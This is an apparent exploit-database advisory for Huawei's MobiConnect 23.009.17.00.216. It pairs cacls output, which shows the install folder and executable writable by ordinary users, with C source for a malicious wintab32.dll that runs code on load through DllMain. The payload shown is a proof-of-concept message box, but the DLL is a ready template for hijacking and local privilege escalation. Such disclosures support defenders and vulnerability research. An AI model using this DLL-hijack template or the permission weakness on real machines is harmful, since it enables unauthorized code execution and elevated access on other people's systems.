MobiConnect 23.009.17.00.216 Privilege Escalation / DLL Hijacking

`/*   
* Exploit Title: MobiConnect 23.009.17.00.216 HUAWEI Insecure Permissions Local Privilege Escalation & DLL Hijacking Exploit (wintab32.dll)  
* Date: 25/12/2014  
* Author: Hadji Samir [email protected]  
* Vendor Homepage: http://www.mobilis.dz/entreprises/mobiconnect.php  
* Vendor: http://www.huawei.com/  
* Tested on: windows 7 FR  
  
##################### Insecure Permissions Local Privilege Escalation ####################  
C:\Program Files>cacls "MobiConnect"  
C:\Program Files\MobiConnect BUILTIN\Utilisateurs:(OI)(IO)F  
BUILTIN\Utilisateurs:(CI)F  
NT SERVICE\TrustedInstaller:(ID)F  
NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F  
AUTORITE NT\Système:(ID)F  
AUTORITE NT\Système:(OI)(CI)(IO)(ID)F  
BUILTIN\Administrateurs:(ID)F  
BUILTIN\Administrateurs:(OI)(CI)(IO)(ID)F  
CREATEUR PROPRIETAIRE:(OI)(CI)(IO)(ID)F  
C:\Program Files\MobiConnect>cacls "MobiConnect.exe"  
C:\Program Files\MobiConnect\MobiConnect.exe BUILTIN\Utilisateurs:F  
AUTORITE NT\Système:(ID)F  
BUILTIN\Administrateurs:(ID)F  
  
########################DLL Hijacking Exploit (wintab32.dll)#########################  
  
*/  
  
#include <windows.h>   
  
BOOL WINAPI DllMain (  
HANDLE hinstDLL,  
DWORD fdwReason,  
LPVOID lpvReserved)  
{  
switch (fdwReason)  
{  
case DLL_PROCESS_ATTACH:  
owned();  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
return TRUE;  
}  
  
int owned() {  
MessageBox(0, "MobiConnect DLL Hijacked\Hadji Samir", "POC", MB_OK);  
}  
`